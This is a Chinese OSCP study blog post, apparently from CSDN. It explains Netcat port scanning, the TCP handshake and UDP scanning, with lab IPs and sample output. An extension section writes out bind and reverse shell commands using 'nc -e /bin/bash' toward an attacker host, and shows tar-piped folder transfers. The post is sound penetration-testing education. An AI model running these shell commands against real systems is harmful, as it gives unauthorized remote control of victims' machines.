1-5〔 OSCP ◈ 研记 〕❘ 信息收集▸主动采集C:Netcat

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

    感谢您的点赞、关注、收藏、分享


𖤐 深 呼 吸 、 放 轻 松 ,这 只 是 一 个 故 事。

𖤐 𝓓𝓮𝓮𝓹 𝓫𝓻𝓮𝓪𝓽𝓱, 𝓻𝓮𝓵𝓪𝔁, 𝓲𝓽'𝓼 𝓳𝓾𝓼𝓽 𝓪 𝓼𝓽𝓸𝓻𝔂. 


信息收集▸主动采集端口枚举:Netcat-----我们在这儿~ 🔥🔥🔥

→ 漏洞检测

→ 初始立足点

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

1.4 主动信息收集

1.4.2 Netcat/nc

📚Netcat工具是什么?

        Netcat(简称:nc)是一款功能强大的网络工具,支持 TCP 和 UDP 协议,可实现:端口扫描、数据传输、网络调试、反向 / 正向 shell 建立等多种功能。它操作简洁,能在不同操作系统间跨平台使用,既适用于网络管理员进行日常诊断,也因可快速创建网络连接的特性,在渗透测试等场景中被广泛应用,是网络领域中兼具实用性与灵活性的经典工具。 
        由于后续内容多次使用到Netcat的其他功能,因此本文补充了除端口扫描外的其他功能。

🔍 端口扫描原理:
      端口扫描就像是给目标计算机的“门(端口)”挨个敲门(TCP)或者投递信件(UDP),看看哪些“门”是开着的(端口开放)。通过检查哪些端口开放,我们能知道目标运行了哪些服务(比如:Web服务器、数据库),从而发现潜在的攻击入口点

⚠️ 重要警告:

  • 🚫 法律风险高! 在未获得明确书面授权的情况下进行端口扫描,在绝大多数地方都是非法的仅限于授权测试或学习环境!

  • 💥 潜在危害大! 盲目扫描,尤其是高强度扫描,可能:

    • 产生大量流量,压垮目标网络或服务,导致客户业务中断(DoS)。

    • 触发目标系统的安全警报(IDS/IPS)。

    • 被视为恶意攻击行为。

  • 🔧 工具需谨慎: 用错工具或参数,可能事与愿违甚至造成破坏。

💡 思路(聪明扫描法):
      别一上来就“地毯式轰炸”!高效又低调的做法是:

  1. 🎯 精准初探: 先只扫描最关键的端口(如 80 - HTTP, 443 - HTTPS)。快速找出可能的 Web 服务器。

  2. 🔄 并行深入: 有了初步目标列表后,在后台对这些特定服务器进行完整的端口扫描。同时进行其他信息搜集工作。

  3. 🎯 逐步聚焦: 拿到完整扫描结果后,再缩小范围,对重点目标和服务进行更深入、信息量更大的扫描(比如服务识别、漏洞探测)。

🛠 工具:Netcat (nc) (基础版)
        虽然 Netcat 主要设计是网络连接工具,不是专业扫描器,但可以用它演示端口扫描的基本原理!


1.4.2.1 TCP:端口扫描(完整三次握手)

🤝 原理:想象你要拜访朋友家(目标端口),三次握手过程:

  1. SYN (敲门): 你敲门 (SYN 包)。

  2. SYN-ACK (有人应门): 如果朋友在家且愿意开门(端口开放),他会回应“谁呀?” (SYN-ACK 包)。

  3. ACK (确认身份): 你回答“是我!” (ACK 包)。门开了,连接建立!✅ 端口开放!

  4. 没回应/拒绝: 如果没人应门(端口关闭或被防火墙静默丢弃)或者朋友直接喊“走开!”(RST 包),则 端口关闭或不可达。❌

 以下是技术上三次握手详细过程(重要知识点):

想象一下客户端 (📱) 和服务器 (💻) 最初都像关着门的小房子,处于 CLOSED(关闭)状态。

  1. 服务器准备接客 (🙋‍♀️ 被动开启):

        ①TCP 服务器进程 (💻) 先 创建传输控制块TCB (可以理解为准备连接所需的资源和记录本)。
        ②然后它就搬个小板凳坐在门口,时刻准备接受客户端的敲门。此时服务器进入了 LISTEN(监听)状态。👂
  2. 客户端敲门 (👋 第一次握手 - 主动开启):

        ①TCP 客户端进程 (📱) 也 创建传输控制块 TCB
        ②它走到服务器门前,发送连接请求报文。这个“敲门暗号”很特别:
           -seq = x 👉 (Sequence Number):客户端随机选择一个初始序列号 x 作为自己发送数据的起点。
           -SYN = 1 👉 (Synchronize Sequence Numbers):表示“我想和你同步序列号,建立连接吧!
           发完“敲门暗号”,客户端就紧张地等在门口,进入了 SYN-SENT(同步已发送) 状态。⏳
  3. 服务器回应并邀请 (👉 第二次握手):

        服务器 (💻) 听到了敲门声 (收到了请求报文)。如果它同意连接 (有空位),就会回应一个 确认报文。这个回应包含两层意思:
           -seq = y 👉:服务器也随机选择一个自己的初始序列号 y 作为发送数据的起点。         -SYN = 1 👉:同时也表示“我也要和你同步,建立连接吧!
           -ack = x + 1 👉 (Acknowledgment Number):确认号设置为 x + 1,意思是“我期待你下次从编号 x+1 的数据开始发”。
           -ACK = 1 👉 (Acknowledgment):表示“我收到你的敲门暗号 (x) 了!
        发出这个“同意+邀请”的回应后,服务器也进入了等待最终确认的状态:SYN-RCVD(同步收到)状态。 📬🔄
  4. 客户端最终确认 (✅ 第三次握手):

       客户端 (📱) 收到了服务器的回应,非常高兴!
       它立刻发出最后一个 确认报文
           -seq = x + 1 👉:因为它的第一个 SYN 包占用了序号 x,所以下一个包序号就是 x + 1
           -ack = y + 1 👉:确认号设置为 y + 1,意思是“我期待你下次从编号 y+1 的数据开始发”。
           -ACK = 1 👉:表示“我收到你的同意和邀请 (y) 啦!
       发送完这个确认,TCP 连接就正式建立成功! 客户端欢快地进入了 ESTABLISHED(已建立连接) 状态。 🤝✅
  5. 服务器完成连接 (🎉):
         
    服务器 (💻) 一旦收到客户端的最终确认报文 (ACK for y),就进入了 ESTABLISHED(已建立连接) 状态。 🎉✅

💻 实战命令:

$ nc -nvv -w 1 -z 192.168.50.152 3388-3390
# 目标:192.168.50.152,扫描端口:3388 到 3390 (通常 RDP 在 3389)

  • -n不进行 DNS 解析 (更快更直接)。

  • -vv显示最详细的过程信息 (看个明白)。

  • -w 1超时 1 秒 (等 1 秒没反应就放弃)。

  • -z零 I/O 模式 (只扫描,不发实际数据)。

🔍 结果分析 (Wireshark 抓包视角):

kali@kali:~$ nc -nvv -w 1-z 192.168.50.152 3388-3390
(UNKNOWN)[192.168.50.152] 3390(?):Connection refused
(UNKNOWN)[192.168.50.1521 3389(ms-wbt-server)open
(UNKNOWN)[192.168.50.152] 3388(?):Connection refused
sent 0.rcvd 

  • nc (发送方192.168.118.2) 向目标 (192.168.50.152) 的 339033893388 依次发送 SYN 包 (敲门)。

  • 端口 3389 开放:

    • 目标回复 SYN-ACK (数据包 4) 👉 "门后有回应!"

    • nc 回复 ACK (数据包 5) 👉 完成握手!✅ 连接建立!

    • 最后 nc 发送 FIN-ACK (数据包 6) 礼貌关闭连接。

  • 其他端口 (33883390) 关闭:

    • 目标直接回复 RST-ACK 包 (红色标记) 👉 "拒绝访问!走开!" ❌

📌 关键点: CONNECT 扫描完成 完整的三次握手,行为与正常连接尝试非常相似,容易被目标日志记录


1.4.2.2 UDP:端口扫描 

📮 原理:UDP 没有“握手”。扫描更像是往门缝里塞一张空白纸条 (空 UDP 包)。

  1. 发送空包: 把空白纸条塞进目标端口。

  2. 可能的结果:

    • ✅ 端口开放 (且服务响应): 门后的人 (服务) 看到了纸条,并且回了一封信 (UDP 响应包)。明确知道门开着! (但很多服务不理空白纸条,不回复UDP响应包)。

    • ✅ 端口开放 (但服务不响应): 门后的人看到了纸条,但觉得是垃圾,直接扔掉不理你 (无响应)。你只能靠“没收到拒信”来猜测门可能开着?🤔

    • ❌ 端口关闭: 纸条塞不进去!邮局 (系统内核) 会给你发个 “查无此门!” (ICMP Port Unreachable) 的通知单。明确知道门关着!

    • 🚧 被防火墙过滤: 纸条在半路就被保安 (防火墙) 没收了!你既收不到回信,也收不到拒信!一片死寂... 这让你误以为“门可能开着?” (实际可能关着) 😫 最大的不可靠来源!

💻 实战命令:

$ nc -nv -u -z -w 1 192.168.50.149 120-123

  • -u指定 UDP 模式 。

  • -n-v-w 1-z:含义同 TCP 扫描。

kali@kali:~$ nc -nv u-z-w 1 192.168.50.149 120-123
(UNKNOWN)[192.168.50.149]123(ntp)open 

 🔍 结果分析 (示例):

  • nc 向端口 120121122123 发送空 UDP 包。

  • 端口 123 (NTP) 可能开放: 没有收到任何回复 (服务不响应空包)。

  • 端口 120121122 关闭: 收到了 ICMP Port Unreachable (拒信) ❌。

🚨 UDP 扫描的“痛点”:

  1. 👻 端口 (误报): 防火墙过滤是最大敌人!收不到 ICMP拒信 就猜开放,结果常常是 “假阳性”!明明门关着,却以为开着。

  2. 🔍 扫描范围窄: 很多扫描器(包括策略)只扫“常见”UDP端口,漏掉冷门但关键的服务端口。

  3. 🙈 容易被忽视: 测试者常常沉迷于“热闹”的 TCP 端口,忘了扫 UDP!殊不知 UDP 服务(如 SNMP, TFTP, NFS, DNS)藏着巨大风险!

  4. 🐢 速度慢 & 不可靠: 要等待 ICMP 响应或超时,速度远慢于 TCP 扫描,结果还不一定准

  5. 📦 流量相对小: 相比需要多次交互的 TCP 扫描,UDP 扫描(尤其是只发空包)产生的流量较小

📌 关键结论:UDP 扫描虽难且不准,但绝不能跳过! 它是发现隐藏服务的必要环节,需要结合其他工具和方法交叉验证结果。


扩展内容:Netcat的其他功能 

1.4.2.3 文件传输

🤝原理:在两台设备间建立 TCP 连接,将文件内容通过连接流式传输(无需额外协议,直接基于原始数据)。

📥 接收端(坐等收件)

 先启动,监听本地 1234 端口,将接收的数据写入file.txt。

$ nc -l 1234 > file.txt  # -l:进入监听模式

📤 发送端(闪电发货)

连接接收方的 1234 端口,发送data.txt内容。 

$ nc 接收方IP 1234 < data.txt

1.4.2.4 文件夹传输

🛬 接收端(被动监听,解压降落伞)

$ nc -l 1234 | tar xzvf - # 自动解压空投包

✈️ 发送端(打包空投,并发送)

tar czvf - /home/meow | nc <接收端IP> 1234 # 发送整个喵星文件夹

1.4.2.5 远程 shell(正向 / 反向连接)

💻原理:将本地 shell(如 bash)的输入 / 输出绑定到网络连接,实现远程控制(渗透测试中常用)。
1.正向 shell(目标主动开放 shell 端口,攻击者连接):
     🎯 目标机(被攻击目标主机,被动监听方):

$ nc -l 4444 -e /bin/bash  
    # -e:将连接绑定到 bash;
    # -l:表示“监听”指定的端口,即让 nc 等待并接受来自远程主机的连接。

     🕵️ 攻击者(主动连接方):

$ nc 目标IP 4444 # 连接后直接获得目标机 shell

2.反向 shell (目标机主动连接攻击主机,绕过防火墙限制):
     🕵️ 攻击者(先监听):

$ nc -lvnp 4444  # 坐等Shell上门

     🎯 目标机(主动连接到攻击者):

$ nc 攻击机IP 4444 -e /bin/bash # 目标交出控制器。主动连接攻击者并将 shell 发送给攻击者。

1.4.2.6  端口转发(流量中转)

🛡️原理:监听本地端口,将收到的流量转发到指定目标端口,实现数据中转。
示例
将本地 8080 端口的流量转发到10.0.0.2:80

  1. 接收端

    $ nc -l 8080 | nc 10.0.0.2 80
       # nc -l 8080:监听本地的 8080 端口,等待从远程主机发送数据。
       # |:管道符号,将 nc 的输出传递到下一个 nc 命令。
       # nc 10.0.0.2 80:将接收到的数据转发到 IP 地址 10.0.0.2 的 80 端口。
    • 发送端

      ​​​​​​$ ​nc 10.0.0.2 80 | nc -l 8080
         # nc 10.0.0.2 80:连接到 10.0.0.2 的 80 端口。
         # |:同样是管道符号,将输入数据传递给下一个命令。
         # nc -l 8080:监听本地 8080 端口,等待来自远程的响应。

      1.4.2.7  UDP 通信测试

      🔍原理:基于无连接的 UDP 协议发送 / 接收数据,用于测试 UDP 服务。

      🗼 服务端

      $ nc -u -l 1234 # 服务端像在等UDP漂流瓶

      ✉️ 客户端

      $ echo "Hello from 2025!" | nc -u <服务端IP> 1234 # 客户端像在扔“漂流瓶”

      1.4.2.8 简易聊天室

      🏠 主机A(开聊天室)

      $ nc -l 1234 # 创建房间「1234」

      📱 主机B(加入聊天)

      $ nc <主机A的IP> 1234 # 输入IP加入房间

        然后,输入文字回车即发送,Ctrl+C 退出聊天。


      1.4.2.9 参数速查表

      参数作用相当于
      -l变身服务器开启「监听模式」
      -u切换UDP协议TCP的孪生兄弟
      -v详细模式把每一步都说出来
      -w设置耐心值(秒)超时自动放弃
      -z间谍扫描偷偷观察不打招呼
      -e执行命令高危操作开关!

      💎 冷知识:不同系统有 ncnetcatncat 三种版本,用 man nc 查看你的武器说明书!

      创作不易,请您~点赞、关注、收藏、分享~

      您的支持是我创作最大的动力!

      老惯例:欣赏欣赏艺术~

       

      评论
      添加红包

      请填写红包祝福语或标题

      红包个数最小为10个

      红包金额最低5元

      当前余额3.43前往充值 >
      需支付:10.00
      成就一亿技术人!
      领取后你会自动成为博主和红包主的粉丝 规则
      hope_wisdom
      发出的红包

      打赏作者

      Whoami!

      你的鼓励将是我创作的最大动力!

      ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
      扫码支付:¥1
      获取中
      扫码支付

      您的余额不足,请更换扫码支付或充值

      打赏作者

      实付
      使用余额支付
      点击重新获取
      扫码支付
      钱包余额 0

      抵扣说明:

      1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
      2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

      余额充值